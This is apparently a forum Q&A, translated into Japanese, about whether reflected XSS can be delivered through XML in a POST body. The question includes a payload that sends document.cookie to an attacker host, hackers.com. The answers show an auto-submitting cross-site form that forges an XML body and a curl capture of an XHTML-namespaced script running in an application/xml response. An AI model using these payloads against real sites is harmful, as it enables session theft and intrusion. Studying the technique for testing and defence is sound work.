反映されたXSSは、次のようなGETリクエストで実行できることを知っています。
http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
応答がこれに似ている限り:
<html>
<head>
<title>Your Serach Results</title>
</head>
<body>
<h2>No results for: </h2>
<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
</body>
</html>
しかし、この攻撃は、XMLコンテンツの一部としてhttp本文のPOSTリクエストに沿って検索用語が送信される場合に、依然として可能です。このアプローチは、RESTfulサービスでよく使用されます。
<Query>
<SearchTerm>
script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
</SearchTerm>
</Query>
これが可能な場合、攻撃者はこれをどのように達成できますか?
[編集]
Content-Type
ヘッダーがapplication/xml
に設定されていることも必要です。
攻撃者は、デフォルト値で自動送信可能なリモートフォームを使用することができます。このような :
<form name="x" action="http://site/index" method="post">
<input type="hidden" name='search' value='<script>alert(/XSS/)</script>'>
</form>
<script>document.x.submit();</script>
<form name="x" action="http://site/index" method="post">
<input type="hidden" name='<?xml version' value='"1.0"?><query><script>alert(/XSS/)</script></query>'>
</form>
<script>document.x.submit();</script>
XHTML名前空間を含むスクリプトを追加すると、実行されます。 例
sajjad@xxx:~$ curl http://www.securation.com/files/2013/09/script.xml -v
* About to connect() to www.securation.com port 80 (#0)
* Trying 5.144.130.33...
* connected
* Connected to www.securation.com (5.144.130.33) port 80 (#0)
> GET /files/2013/09/script.xml HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-Apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8x zlib/1.2.5
> Host: www.securation.com
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 16 Sep 2013 06:01:57 GMT
< Server: Apache
< Last-Modified: Mon, 16 Sep 2013 06:00:14 GMT
< Accept-Ranges: bytes
< Content-Length: 169
< X-Version: Securation 0.0.2 Beta
< Connection: close
< Content-Type: application/xml
<
<?xml version="1.0" encoding="UTF-8"?>
<Query>
<SearchTerm>
<script xmlns="http://www.w3.org/1999/xhtml">
alert('Hello');
</script>
</SearchTerm>
</Query>
* Closing connection #0